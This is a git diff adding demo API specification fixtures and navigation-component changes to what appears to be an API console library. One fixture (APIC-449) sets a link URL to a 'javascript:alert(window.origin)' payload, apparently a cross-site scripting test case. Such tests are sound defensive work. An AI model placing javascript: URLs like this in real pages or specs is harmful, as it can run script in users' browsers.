+      owner:
+        type : string
+        required: true
+  UsingObj:
+    type: object
+    properties:
+      ok:
+        type: boolean
+        required: false
+      channel:
+        type: ExtendingObj
+        required: true
+    
+  LibObjectWithExamples: 
+    type: UsingObj
+    examples:
+      ChannelInfo1: 
+        ok : false
+        channel: 
+          owner: "channel info 1"
+      ChannelInfo2:
+        ok: true
+        channel:
+          owner: "pp"
+          id: "channel info 2" 
+  LibObjectWithExample: 
+    type: UsingObj
+    example: 
+      ok : false
+      channel: 
+        owner: "single"
+  LibObjectWithExampleIncluded:
+    type: UsingObj
+    example: !include ../examples/usingObj-example2.json 
+  LibObjectWithExamplesIncluded:
+    type: UsingObj
+    examples: 
+      includedExample1: !include ../examples/usingObj-example.json 
+      includedExample2: !include ../examples/usingObj-example2.json 
diff --git a/demo/apis/APIC-435/APIC-435.yaml b/demo/apis/APIC-435/APIC-435.yaml
new file mode 100644
index 0000000..b7eb3b2
--- /dev/null
+++ b/demo/apis/APIC-435/APIC-435.yaml
@@ -0,0 +1,27 @@
+swagger: "2.0"
+info:
+  title: testExamples
+  description: Testing examples display
+  version: "1.0"
+externalDocs:
+  url: http://
+  description: |
+    Welcome to the _Test API_ Documentation. The _Test API_
+    allows you to test console and mocking service features
+    [integration libraries](https://mulesoft.com)
+  x-amf-title: Test Console and Mocking Service
+x-amf-userDocumentation:
+  -
+    url: http://
+    content: The API gives you chance to test features referred to API Console and Mocking Service.
+    title: Legal
+  -
+    url: http://
+    content: |
+      this is the content
+    title: Another title
+  -
+    url: http://
+    content: Fragment doc content
+    title: Fragment doc title
+paths: {}
diff --git a/demo/apis/APIC-449/APIC-449.yaml b/demo/apis/APIC-449/APIC-449.yaml
new file mode 100644
index 0000000..8be05f6
--- /dev/null
+++ b/demo/apis/APIC-449/APIC-449.yaml
@@ -0,0 +1,8 @@
+openapi: "3.0.0"
+info:
+  version: 1.0.0
+  title: Test oas3
+paths: {}
+externalDocs:
+  description: Click me :)
+  url: javascript:alert(window.origin)
\ No newline at end of file
diff --git a/demo/apis/APIC-550/APIC-550.raml b/demo/apis/APIC-550/APIC-550.raml
new file mode 100644
index 0000000..333460c
--- /dev/null
+++ b/demo/apis/APIC-550/APIC-550.raml
@@ -0,0 +1,46 @@
+#%RAML 1.0
+types:
+  Customer:
+    properties:
+      address:
+        properties:
+          street:
+            example: 12 Oxford St.
+            type: string
+          city:
+            example: London
+            type: string
+      id:
+        example: 1299
+        type: number
+        format: int
+      name:
+        example: Example
+        type: string
+title: Banking
+description: Banking
+documentation:
+  -
+    content: Bank
+    title: Api Details
+  -
+    content: newItem
+    title: newItem
+/customers/{id}:
+  post:
+    body:
+      application/json:
+        type: Customer
+    responses:
+      "201":
+        body:
+          text/plain:
+            default: Created successfully
+            example: Customer created
+            type: string
+  uriParameters:
+    id:
+      default: 21
+      example: 23
+      type: number
+      format: int  
\ No newline at end of file
diff --git a/demo/apis/APIC-554-ii/APIC-554-ii.raml b/demo/apis/APIC-554-ii/APIC-554-ii.raml
new file mode 100644
index 0000000..3bfd931
--- /dev/null
+++ b/demo/apis/APIC-554-ii/APIC-554-ii.raml
@@ -0,0 +1,5 @@
+#%RAML 1.0
+title: api
+
+/customers/{customer}/chromeos/deviceId:
+/customer/{customer}/chromeos/deviceId:
\ No newline at end of file
diff --git a/demo/apis/APIC-554/APIC-554.raml b/demo/apis/APIC-554/APIC-554.raml
new file mode 100644
index 0000000..f9c75ad
--- /dev/null
+++ b/demo/apis/APIC-554/APIC-554.raml
@@ -0,0 +1,6 @@
+#%RAML 1.0
+title: api
+
+/customer/{customerId}/chromeos:
+/customer/{customerId}/chromeos/deviceId:
+/customer/{customerId}/chromeos/deviceId/customerId:
\ No newline at end of file
diff --git a/demo/apis/SE-19215/SE-19215.raml b/demo/apis/SE-19215/SE-19215.raml
new file mode 100644
index 0000000..007c9e4
--- /dev/null
+++ b/demo/apis/SE-19215/SE-19215.raml
@@ -0,0 +1,5 @@
+#%RAML 1.0
+/omaha/transactionscall1:
+    post:
+/omaha/transactions/call2:
+    post:
\ No newline at end of file
diff --git a/demo/apis/ext-docs/ext-docs.yaml b/demo/apis/ext-docs/ext-docs.yaml
new file mode 100644
index 0000000..3547cb0
--- /dev/null
+++ b/demo/apis/ext-docs/ext-docs.yaml
@@ -0,0 +1,14 @@
+openapi: '3.0.0'
+info:
+  title: Servers demo API
+  version: '1.0'
+externalDocs:
+  url: https://example.com
+  description: Docs
+paths:
+  /default:
+    description: A default path to the API
+    get:
+      summary: "A get method"
+      responses:
+        200:
diff --git a/demo/apis/missing-endpoints/missing-endpoints.raml b/demo/apis/missing-endpoints/missing-endpoints.raml
new file mode 100644
index 0000000..54f5aec
--- /dev/null
+++ b/demo/apis/missing-endpoints/missing-endpoints.raml
@@ -0,0 +1,34 @@
+#%RAML 1.0
+title: Omni Channel Experience API
+version: 1.0.0
+baseUri: http://localhost:8081/api
+mediaType: [ application/json ]
+
+/root:
+  /posts:
+    get:
+    /{postId}:
+      get:
+      /comments:
+        get:
+        /{commentId}:
+  /pictures:
+    get:
+    /{picture}:
+      get:
+      /likes:
+        get:
+        /{likeId}:
+          get:
+  /addresses/{adressId}:
+    get:
+    /postals:
+      get:
+      /{postalId}:
+        get:
+/other:
+  description: test
+  /{param1}/{param2}:
+    get:
+    /posts:
+      get:
diff --git a/demo/apis/navigation-api/library.raml b/demo/apis/navigation-api/library.raml
new file mode 100644
index 0000000..06eceaa
--- /dev/null
+++ b/demo/apis/navigation-api/library.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 Library
+
+types:
+  LibraryType:
+    displayName: Type from library
+    properties:
+      prop: string
diff --git a/demo/apis/navigation-api/navigation-api.raml b/demo/apis/navigation-api/navigation-api.raml
new file mode 100644
index 0000000..47cabd1
--- /dev/null
+++ b/demo/apis/navigation-api/navigation-api.raml
@@ -0,0 +1,359 @@
+#%RAML 1.0
+title: Navigation demo API
+
+version: v2
+baseUri: https://api.mulesoft.com/{version}
+mediaType: application/json
+
+uses:
+  lib: library.raml
+
+securitySchemes:
+  basic:
+    type: Basic Authentication
+    description: |
+      Test basic auth method
+  other:
+    displayName: Digest
+    type: Digest Authentication
+
+documentation:
+  - title: How to begin
+    content: |
+      Example content
+  - title: Other documentation entry
+    content: |
+      Example content
+types:
+  Image: !include types/image.raml
+  Resource: !include types/resource.raml
+  AppPerson: !include types/app-person.raml
+  Product: !include types/product.raml
+  Picture:
+    displayName: Pic
+    type: object
+    required: false
+    description: The user's profile picture.
+    properties:
+      url:
+        type: string
+        required: false
+        description: A URL that points to a profile picture of this user.
+  Property:
+    type: object
+    required: false
+
+    properties:
+      kind:
+        type: string
+        description: This is always drive#property.
+        default: drive#property
+        enum: [drive#property]
+      etag:
+        type: string
+        description: ETag of the property.
+      selfLink:
+        type: string
+        description: The link back to this property.
+      key:
+        type: string
+        description: The key of this property.
+      visibility:
+        type: string
+        description: The visibility of this property.
+      value:
+        type: string
+        description: The value of this property.
+  ImportFormat:
+    properties:
+      source:
+        type: string
+        description: The imported file's content type to convert from.
+        required: true
+      targets:
+        description: The possible content types to convert to.
+        type: string[]
+        required: true
+  Unionable:
+    type: ImportFormat | Picture
+  Arrable:
+    type: array
+    items: Picture
+/files:
+  displayName: Files
+  post:
+    displayName: Insert
+    description: |
+      Insert a new file.
+      This method supports an /upload URI and accepts uploaded media with the following characteristics:
+
+      - Maximum file size: 5120GB
+      - Accepted Media MIME types: */*
+
+      Note: Apps creating shortcuts with files.insert must specify the MIME type `application/vnd.google-apps.drive-sdk`.
+
+      Apps should specify a file extension in the title property when inserting files with the API. For example, an operation to insert a JPEG file should specify something like `"title": "cat.jpg"` in the metadata.
+
+      Subsequent GET requests include the read-only fileExtension property populated with the extension originally specified in the title property. When a Google Drive user requests to download a file, or when the file is downloaded through the sync client, Drive builds a full filename (with extension) based on the title. In cases where the extension is missing, Google Drive attempts to determine the extension based on the file's MIME type.
+
+      ### HTTP request
+
+      This method provides media upload functionality through two separate URIs. For more details, see the document on media upload.
+
+      - Upload URI, for media upload requests: `POST https://www.googleapis.com/upload/drive/v2/files`
+      - Metadata URI, for metadata-only requests: `POST https://www.googleapis.com/drive/v2/files`
+  get:
+    securedBy: [basic]
+    displayName: list
+    description: |
+      Lists the user's files. Try it now or see an example.
+
+      Requests with `files.list` accept the `q` parameter, which is a search query combining one or more search terms. For more information, see Search for files.
+
+      Note: Note: This method returns all files by default. This includes files with trashed=true in the results. Use the trashed=false query parameter to filter these from the results.
+  /{fileId}:
+    displayName: Get file
+    get:
+      description: "Gets a file's metadata by ID."
+    patch:
+      description: Updates file metadata. This method supports patch semantics.
+    put:
+      description: Updates file metadata and/or content.
+    delete:
+      description: Permanently deletes a file by ID. Skips the trash. The currently authenticated user must own the file.
+    /copy:
+      post:
+        description: Creates a copy of the specified file.
+    /touch:
+      post:
+        description: "Set the file's updated time to the current server time."
+    /trash:
+      post:
+        description: Moves a file to the trash. The currently authenticated user must own the file.
+    /untrash:
+      post:
+        description: Restores a file from the trash.
+    /parents:
+      get:
+        description: "Lists a file's parents."
+      post:
+        description: Adds a parent folder for a file.
+      /{parentId}:
+        uriParameters:
+          parentId:
+            type: string
+            description: The ID of the parent.
+        get:
+          description: Gets a specific parent reference.
+        delete:
+          description: Removes a parent from a file.
+    /permissions:
+      get:
+        description: "Lists a file's permissions."
+      post:
+        description: |
+          Inserts a permission for a file.
+
+          Warning: Concurrent permissions operations on the same file are not supported; only the last update is applied.
+      /{permissionId}:
+        uriParameters:
+          permissionId:
+            type: string
+            description: The ID for the permission.
+        get:
+          description: Gets a permission by ID.
+        put:
+          description: |
+            Updates a permission.
+
+            **Warning**: Concurrent permissions operations on the same file are not supported; only the last update is applied.
+        delete:
+          description: |
+            Deletes a permission from a file.
+
+            Warning: Concurrent permissions operations on the same file are not supported; only the last update is applied.
+          responses:
+            204:
+        patch:
+          description: |
+            Updates a permission. This method supports patch semantics.
+
+            **Warning**: Concurrent permissions operations on the same file are not supported; only the last update is applied.
+    /revisions:
+      get:
+      /{revisionId}:
+        uriParameters:
+          revisionId:
+            type: string
+            description: The ID of the revision.
+        get:
+
+        put:
+
+        delete:
+
+        patch:
+
+    /comments:
+      get:
+
+      post:
+        description: Creates a new comment on the given file.
+      /{commentId}:
+        get:
+          description: Gets a comment by ID.
+
+        put:
+
+        delete:
+          description: Deletes a comment.
+
+        patch:
+
+        /replies:
+          get:
+
+          post:
+
+          /{replyId}:
+            uriParameters:
+              replyId:
+                type: string
+                description: The ID of the reply.
+            get:
+              description: Gets a reply.
+
+            put:
+              description: Updates an existing reply.
+
+            delete:
+              description: Deletes a reply.
+
+            patch:
+              description: Updates an existing reply. This method supports patch semantics.
+
+    /realtime:
+
+      get:
+        description: Exports the contents of the Realtime API data model associated with this file as JSON.
+
+      put:
+        displayName: update
+        description: |
+          Overwrites the Realtime API data model associated with this file with the provided JSON data model.
+
+          This method supports an /upload URI and accepts uploaded media with the following characteristics:
+
+          - **Maximum file size**: 10MB
+          - **Accepted Media MIME** types: */*
+
+    /properties:
+      get:
+        description: "Lists a file's properties."
+
+      post:
+        description: Adds a property to a file.
+
+      /{propertyKey}:
+        uriParameters:
+          propertyKey:
+            type: string
+            description: The key of the property.
+        get:
+
+        put:
+
+        delete:
+
+        patch:
+
+  /trash:
+    delete:
+      description: "Permanently deletes all of the user's trashed files."
+  /{folderId}/children:
+    post:
+      description: Inserts a file into a folder.
+
+    get:
+      description: "Lists a folder's children. To list all children of the root folder, use the alias root for the folderId value."
+
+    /{childId}:
+      delete:
+        description: Removes a child from a folder.
+      get:
+        description: Gets a specific child reference.
+/about:
+  displayName: About
+  get:
+    description: Gets the information about the current user along with Drive API settings.
+
+/changes:
+  displayName: Changes
+  get:
+
+  /{changeId}:
+    uriParameters:
+      changeId:
+        type: string
+        description: The ID of the change.
+    get:
+      description: Gets a specific change.
+
+  /watch:
+    post:
+      queryParameters:
+        spaces:
+          type: string
+          required: false
+          description: |
+            A comma-separated list of spaces to query. Supported values are:
+
+            - **drive**
+            - **appDataFolder**
+            - **photos**
+      description: "Watch for all changes to a user's Drive."
+
+/permissionIds/{email}:
+  uriParameters:
+    email:
+      type: string
+      description: The email address for which to return a permission ID
+  get:
+    description: Returns the permission ID for an email address.
+
+/apps:
+  displayName: Apps
+  get:
+    description: "Lists a user's installed apps."
+  /{appId}:
+    uriParameters:
+      appId:
+        type: string
+        description: The ID of the app.
+    get:
+      description: Gets a specific app.
+/channels/stop:
+  post:
+    description: |
+      Stop watching for changes to a resource.
+      If successful, this method returns an empty response body.
+/teamdrives:
+  displayName: Teamdrives
+  post:
+    displayName: insert
+    description: Creates a new Team Drive.
+
+  get:
+    displayName: list
+    description: Lists the user's Team Drives.
+  /{teamDriveId}:
+    uriParameters:
+      teamDriveId:
+        description: The ID of the Team Drive
+    delete:
+      description: |
+        Permanently deletes a Team Drive for which the user is an organizer. The Team Drive cannot contain any untrashed items.
+    get:
+      description: Gets a Team Drive's metadata by ID.
+    put:
+      description: Updates a Team Drive's metadata
diff --git a/demo/apis/navigation-api/types/app-person.raml b/demo/apis/navigation-api/types/app-person.raml
new file mode 100644
index 0000000..fe4d784
--- /dev/null
+++ b/demo/apis/navigation-api/types/app-person.raml
@@ -0,0 +1,101 @@
+#%RAML 1.0 DataType
+
+displayName: A person resource
+description: |
+  An object representing a person in the API.
+  This object will be used in all methods returning a Person or list of people.
+
+type: !include resource.raml
+example:
+  id: "R34fg663H9KW9MMSKISIhTs1dR7Hss7e"
+  name: "Pawel Psztyc"
+  birthday: "1983-10-20"
+  gender: male
+  url: "https://domain.com/profile/pawel.psztyc"
+  image:
+    url: https://domain.com/profile/pawel.psztyc/image
+    thumb: https://domain.com/profile/pawel.psztyc/image/thumb
+  tagline: Some text about me.
+  language: en_GB
+  etag: "W\\244m4n5kj3gbn2nj4k4n4"
+  favouriteNumber: 10
+  favouriteTime: 10:29:52
+  nillable: null
+
+properties:
+  id:
+    description: |
+      A unique identifier of a person.
+
+      It is a 32 bit string containing alphanumeric characters.
+    minLength: 32
+    maxLength: 32
+    pattern: "[A-Za-z0-9]*"
+  name:
+    required: true
+    example: John Smith
+    description: Person full name. The input will be rejected if this property is not set while creating new object.
+    type: string
+    pattern: "[0-9a-zA-Z ]+"
+  birthday:
+    type: date-only
+    description: The person's date of birth, represented as YYYY-MM-DD.
+  favouriteTime:
+    type: time-only
+    description: The person's favourite time of day
+  gender?:
+    type: string
+    description: |
+      The person's gender. Possible values includes, but are not limited to, the following values:
+      * "male" - Male gender.
+      * "female" - Female gender.
+      * "other" - Other.
+    enum: [male, female, other]
+    examples:
+      Women: female
+      Man: male
+      Elmo: other
+  favouriteNumber:
+    type: number
+    minimum: 0
+    maximum: 9999
+    multipleOf: 5
+    required: true
+    displayName: Favourite number
+    example: 25
+  url:
+    type: string
+    description: The URL of this person's profile.
+  image: !include image.raml
+  tagline:
+    type: string
+    description: The brief description (tagline) of this person.
+  language:
+    type: string
+    description: The user's preferred language for rendering.
+  newsletter:
+    type: boolean
+    required: false
+    default: false
+  age:
+    type: integer
+    required: false
+    description: |
+      Very unpractical property to have in a data store.
+  created:
+    type: datetime-only
+    required: false
+    example: 2018-04-09T19:10:15
+  fietype:
+    required: false
+    type: file
+    fileTypes:
+      - image/png
+      - image/jpeg
+      - image/jpg
+      - image/gif
+    minLength: 10
+    maxLength: 1000
+  nillable:
+    type: string | nil
+    default: null
diff --git a/demo/apis/navigation-api/types/image.raml b/demo/apis/navigation-api/types/image.raml
new file mode 100644
index 0000000..9217d6a
--- /dev/null
+++ b/demo/apis/navigation-api/types/image.raml
@@ -0,0 +1,23 @@
+#%RAML 1.0 DataType
+
+description: |
+  An image object representing an image object strored in the file store.
+  The image can be only included in the response. It has no effect if the Image appear in the
+  request. Endpoint handles image creation on it's own and clients can't process images
+  except of sending image data.
+
+type: object
+properties:
+  url:
+    type: string
+    description: |
+      The URL of the image.
+      To resize the image and crop it to a square, append the query string **?sz=x**, where x is the dimension in pixels of each side.
+  thumb:
+    type: string
+    displayName: Thumbnail
+    description: |
+      An URL to the thumbnail of the image. Thumbnails are 60x60px cropped images of the original image.
+example:
+  url: https://domain.com/profile/pawel.psztyc/image
+  thumb: https://domain.com/profile/pawel.psztyc/image/thumb
diff --git a/demo/apis/navigation-api/types/product.raml b/demo/apis/navigation-api/types/product.raml
new file mode 100644
index 0000000..26633bc
--- /dev/null
+++ b/demo/apis/navigation-api/types/product.raml
@@ -0,0 +1,52 @@
+#%RAML 1.0 DataType
+
+displayName: A product resource
+description: A single product representing an item in the store.
+type: !include resource.raml
+properties:
+  id:
+    description: |
+      Product id. It is a UUID of the database record.
+      __This property will be ignored when creating an object.__
+      It will be available when the product is stored in the datastore.
+    pattern: "[0-9a-zA-Z-]+"
+  name:
+    type: string
+    description: Product name
+    example: Acme product - mentol flavor, 500 ml.
+    required: true
+  quantity:
+    type: number
+    description: |
+      The quantity of the product in the one unit of measurement.
+      See `unit` property for more information.
+    example: 500
+    required: true
+  unit:
+    type: string
+    description: The unit of measuremet for the quantity property.
+    example: ml
+    required: true
+  upc:
+    type: string
+    pattern: "[0-9]{12,12}"
+    description: |
+      The Universal Produc Code. It consists of 12 numerical digits. However, because of the
+      integer precision limitation in JavaScript it is represented as a string.
+    example: "042100005264"
+    required: true
+  available:
+    type: boolean
+    description: |
+      Product current availability in the store.
+      Product may be not available but the users still can order it with later delivery date.
+    required: true
+    example: true
+example:
+  id: we2322-4f4f4f-f4f4ff-f4f4ff4
+  name: Acme Product
+  quantity: 200
+  unit: ml
+  upc: "123456789101"
+  available: true
+  etag: "W\\sd3deef3rgrgf4r"
diff --git a/demo/apis/navigation-api/types/resource.raml b/demo/apis/navigation-api/types/resource.raml
new file mode 100644
index 0000000..77a046b
--- /dev/null
+++ b/demo/apis/navigation-api/types/resource.raml
@@ -0,0 +1,11 @@
+#%RAML 1.0 DataType
+
+description: |
+  Common properties for all resources returned by the API.
+type: object
+properties:
+  etag:
+    type: string
+    description: |
+      ETag of this resource for caching purposes.
+      __This property will be ignored when creating an object.__
diff --git a/demo/apis/rearrange-api/rearrange-api.raml b/demo/apis/rearrange-api/rearrange-api.raml
new file mode 100644
index 0000000..160f5f2
--- /dev/null
+++ b/demo/apis/rearrange-api/rearrange-api.raml
@@ -0,0 +1,32 @@
+#%RAML 1.0
+title: Rearrangeable endpoints demo API
+
+/transactions/:txId:
+    get:
+        displayName: Get transaction
+        description: Get a transaction by id
+    delete:
+        displayName: Delete transaction
+        description: Delete a transcation by id
+/billing:
+    get:
+        displayName: Get billing information
+        description: Get all billing information pertaining to all customers
+/accounts/:accountId:
+    get:
+        displayName: Get account
+        description: Get an account by id
+/accounts:
+    get:
+        displayName: Get all accounts
+        description: Get list of all accounts
+    post:
+        displayName: Create account
+        description: Create a new account
+/transactions:
+    get:
+        displayName: Get all transactions
+        description: Get list of all transactions by all customers
+    post:
+        displayName: Create new transaction
+        description: Create a new transaction
\ No newline at end of file
diff --git a/demo/apis/simple-api/simple-api.raml b/demo/apis/simple-api/simple-api.raml
new file mode 100644
index 0000000..ab92f43
--- /dev/null
+++ b/demo/apis/simple-api/simple-api.raml
@@ -0,0 +1,12 @@
+#%RAML 1.0
+title: Navigation demo API
+
+version: v2
+baseUri: https://api.mulesoft.com/
+
+/one:
+  get:
+/two:
+  post:
+/three:
+  put:
diff --git a/demo/apis/unordered-endpoints/unordered-endpoints.raml b/demo/apis/unordered-endpoints/unordered-endpoints.raml
new file mode 100644
index 0000000..d1e54fc
--- /dev/null
+++ b/demo/apis/unordered-endpoints/unordered-endpoints.raml
@@ -0,0 +1,11 @@
+#%RAML 1.0
+title: Out of order endpoints
+/foo:
+  get:
+    displayName: Get foo
+/bar:
+  get:
+    displayName: Get bar
+/foo/bar:
+  get:
+    displayName: Get foo bar
diff --git a/demo/lib/AmfDemoBase.js b/demo/lib/AmfDemoBase.js
index e6b0e69..7e27519 100644
--- a/demo/lib/AmfDemoBase.js
+++ b/demo/lib/AmfDemoBase.js
@@ -4,13 +4,15 @@ import { MonacoLoader } from "@advanced-rest-client/monaco-support";
 import '@anypoint-web-components/anypoint-dropdown-menu/anypoint-dropdown-menu.js';
 import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js';
 import '@anypoint-web-components/anypoint-item/anypoint-item.js';
-import '@api-components/api-navigation/api-navigation.js';
 import { DomEventsAmfStore } from "../../src/store/DomEventsAmfStore.js";
 import { AmfHelperMixin } from "../../src/helpers/AmfHelperMixin.js";
+import { EventTypes } from '../../src/events/EventTypes.js';
+import '../../api-navigation.js';
 import './ApiStyles.js';
 
 /** @typedef {import('lit-html').TemplateResult} TemplateResult */
 /** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */
+/** @typedef {import('../../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
 /**
  * Base class for API components demo page.
@@ -72,8 +74,7 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
      * @default false
      */
     this.noApiNavigation = false;
-    this._navChanged = this._navChanged.bind(this);
-    window.addEventListener('api-navigation-selection-changed', this._navChanged);
+    window.addEventListener(EventTypes.Navigation.apiNavigate, this._navChanged.bind(this));
 
     document.body.classList.add('api');
     this.autoLoad();
@@ -131,12 +132,12 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
 
   /**
    * This method to be overridden in child class to handle navigation.
-   * @param {CustomEvent} e Dispatched navigation event
+   * @param {ApiNavigationEvent} e Dispatched navigation event
    */
    _navChanged(e) {
-    const { selected, type } = e.detail;
+    const { domainId, domainType } = e.detail;
     // eslint-disable-next-line no-console
-    console.log(`Navigation changed. Type: ${type}, selected: ${selected}`);
+    console.log(`Navigation changed. Type: ${domainId}, selected: ${domainType}`);
   }
 
   /**
diff --git a/demo/model.mjs b/demo/model.mjs
index a14b256..36b1aa3 100644
--- a/demo/model.mjs
+++ b/demo/model.mjs
@@ -7,6 +7,7 @@ const config = new Map();
 config.set('demo-api/demo-api.raml', { type: "RAML 1.0" });
 config.set('amf-helper-api/amf-helper-api.raml', { type: "RAML 1.0" });
 config.set('arc-demo-api/arc-demo-api.raml', { type: "RAML 1.0" });
+config.set('navigation-api/navigation-api.raml', { type: "RAML 1.0" });
 config.set('array-body/array-body.raml', { type: "RAML 1.0" });
 config.set('google-drive-api/google-drive-api.raml', { type: "RAML 1.0" });
 config.set('appian-api/appian-api.raml', { type: "RAML 1.0" });
@@ -22,12 +23,18 @@ config.set('APIC-282/APIC-282.raml', { type: "RAML 1.0" });
 config.set('APIC-289/APIC-289.yaml', { type: "OAS 2.0", mime: 'application/yaml' });
 config.set('APIC-298/APIC-298.json', { type: 'OAS 2.0', mime: 'application/json' });
 config.set('APIC-332/APIC-332.raml', { type: 'RAML 1.0' });
+config.set('APIC-349-cache-resolution/APIC-349-cache-resolution.raml', { type: 'RAML 1.0' });
 config.set('APIC-390/APIC-390.raml', { type: "RAML 1.0" });
 config.set('APIC-429/APIC-429.yaml', { type: "OAS 3.0", mime: 'application/yaml' });
+config.set('APIC-435/APIC-435.yaml', { type: "OAS 2.0", mime: 'application/yaml' });
+config.set('APIC-449/APIC-449.yaml', { type: "OAS 3.0", mime: 'application/yaml' });
 config.set('APIC-480/APIC-480.raml', { type: 'RAML 1.0' });
 config.set('APIC-483/APIC-483.raml', { type: "RAML 1.0" });
 config.set('APIC-463/APIC-463.raml', { type: "RAML 1.0" });
+config.set('APIC-550/APIC-550.raml', { type: "RAML 1.0" });
 config.set('APIC-553/APIC-553.raml', { type: "RAML 1.0" });
+config.set('APIC-554/APIC-554.raml', { type: "RAML 1.0" });
+config.set('APIC-554-ii/APIC-554-ii.raml', { type: "RAML 1.0" });
 config.set('APIC-560/APIC-560.yaml', { type: "ASYNC 2.0" });
 config.set('APIC-582/APIC-582.yaml', { type: "ASYNC 2.0" });
 config.set('APIC-613/APIC-613.raml', { type: 'RAML 1.0' });
@@ -51,6 +58,7 @@ config.set('SE-12752/SE-12752.raml', { type: "RAML 1.0" });
 config.set('SE-12957/SE-12957.json', { type: "OAS 2.0", mime: 'application/json' });
 config.set('SE-12959/SE-12959.json', { type: "OAS 2.0", mime: 'application/json' });
 config.set('SE-17897/SE-17897.yaml', { type: "OAS 3.0", mime: 'application/yaml' });
+config.set('SE-19215/SE-19215.raml', { type: "RAML 1.0" });
 config.set('SE-19500/SE-19500.raml', { type: "RAML 1.0" });
 config.set('oauth1-fragment/oauth1-fragment.raml', { type: "RAML 1.0" });
 config.set('oauth2-fragment/oauth2-fragment.raml', { type: "RAML 1.0" });
@@ -91,6 +99,11 @@ config.set('no-servers-api/no-servers-api.yaml', { type: 'OAS 3.0', mime: 'appli
 config.set('multiple-servers/multiple-servers.yaml', { type: 'OAS 3.0', mime: 'application/yaml' });
 config.set('flattened-api/flattened-api.raml', { type: 'RAML 1.0', mime: 'application/yaml', flattened: true });
 config.set('expanded-api/expanded-api.raml', { type: 'RAML 1.0', mime: 'application/yaml', flattened: false });
+config.set('ext-docs/ext-docs.yaml', { type: 'OAS 3.0' });
+config.set('missing-endpoints/missing-endpoints.raml', { type: 'RAML 1.0' });
+config.set('unordered-endpoints/unordered-endpoints.raml', { type: 'RAML 1.0' });
+config.set('rearrange-api/rearrange-api.raml', { type: 'RAML 1.0' });
+config.set('simple-api/simple-api.raml', { type: 'RAML 1.0' });
 
 generator.generate(config, {
   dest: 'demo/models/',
diff --git a/demo/server-selector.js b/demo/server-selector.js
index 2e5ad4d..21af378 100644
--- a/demo/server-selector.js
+++ b/demo/server-selector.js
@@ -1,9 +1,11 @@
 import { html } from 'lit-html';
 import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
-import '@api-components/api-navigation/api-navigation.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-server-selector.js';
+import '../api-navigation.js';
+
+/** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
 class ComponentDemo extends AmfDemoBase {
   constructor() {
@@ -40,16 +42,16 @@ class ComponentDemo extends AmfDemoBase {
   }
 
   /**
-   * @param {CustomEvent} e 
+   * @param {ApiNavigationEvent} e
    */
   _navChanged(e) {
-    const { selected, type } = e.detail;
-    if (["method", "endpoint"].indexOf(type) === -1) {
+    const { domainId, domainType } = e.detail;
+    if (["operation", "resource"].indexOf(domainType) === -1) {
       this.servers = null;
       return;
     }
-    this.selectedShape = selected;
-    this.selectedShapeType = type;
+    this.selectedShape = domainId;
+    this.selectedShapeType = domainType;
   }
 
   /**
diff --git a/index.d.ts b/index.d.ts
index 1eb2b9a..eccda94 100644
--- a/index.d.ts
+++ b/index.d.ts
@@ -17,6 +17,7 @@ export { default as ApiAuthorizationEditorElement } from './src/elements/ApiAuth
 export { default as ApiAuthorizationMethodElement } from './src/elements/ApiAuthorizationMethodElement';
 export { default as ApiServerSelectorElement } from './src/elements/ApiServerSelectorElement';
 export { default as HttpMethodLabelElement } from './src/elements/HttpMethodLabelElement';
+export { default as ApiNavigationElement } from './src/elements/ApiNavigationElement';
 export * from './src/events/EventTypes';
 export * from './src/events/RequestEvents';
 export * as InputCache from './src/lib/InputCache';
diff --git a/index.js b/index.js
index efdf298..7733930 100644
--- a/index.js
+++ b/index.js
@@ -17,6 +17,7 @@ export { default as ApiAuthorizationEditorElement } from './src/elements/ApiAuth
 export { default as ApiAuthorizationMethodElement } from './src/elements/ApiAuthorizationMethodElement.js';
 export { default as ApiServerSelectorElement } from './src/elements/ApiServerSelectorElement.js';
 export { default as HttpMethodLabelElement } from './src/elements/HttpMethodLabelElement.js';
+export { default as ApiNavigationElement } from './src/elements/ApiNavigationElement.js';
 export * from './src/events/EventTypes.js';
 export * from './src/events/RequestEvents.js';
 export * as InputCache from './src/lib/InputCache.js';
diff --git a/package-lock.json b/package-lock.json
index 41ca9f8..ee6d8b7 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -632,22 +632,6 @@
         "fs-extra": "^10.0.0"
       }
     },
-    "@api-components/api-navigation": {
-      "version": "4.3.2",
-      "resolved": "https://registry.npmjs.org/@api-components/api-navigation/-/api-navigation-4.3.2.tgz",
-      "integrity": "sha512-t9F0FSpRG6st05ogSeEyEbOaliEg0GQL3tkEmgDOmgd52HHK5aaaaVLGwG2FVRwQYq9VzCr1aasWNDgquBwBlQ==",
-      "dev": true,
-      "requires": {
-        "@advanced-rest-client/arc-icons": "^3.2.2",
-        "@anypoint-web-components/anypoint-button": "^1.1.1",
-        "@anypoint-web-components/anypoint-collapse": "^0.1.0",
-        "@api-components/amf-helper-mixin": "^4.3.4",
-        "@api-components/http-method-label": "^3.1.3",
-        "@api-components/raml-aware": "^3.0.0",
-        "lit-element": "^2.3.1",
-        "lit-html": "^1.2.1"
-      }
-    },
     "@api-components/api-schema": {
       "version": "0.1.5",
       "resolved": "https://registry.npmjs.org/@api-components/api-schema/-/api-schema-0.1.5.tgz",
@@ -666,12 +650,6 @@
         "lit-html": "^1.4.1"
       }
     },
-    "@api-components/raml-aware": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/@api-components/raml-aware/-/raml-aware-3.0.0.tgz",
-      "integrity": "sha512-lWIjd8Wq6tYJmF8ZXyUgQdGq+vhXP7pKY/QcPQdKOn2IXb4/gqTglebtXnxjME41+uKSPQoMSKTEVT/PwX93qQ==",
-      "dev": true
-    },
     "@babel/code-frame": {
       "version": "7.15.8",
       "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz",
diff --git a/package.json b/package.json
index 1a2248f..a4c0bcb 100644
--- a/package.json
+++ b/package.json
@@ -63,7 +63,6 @@
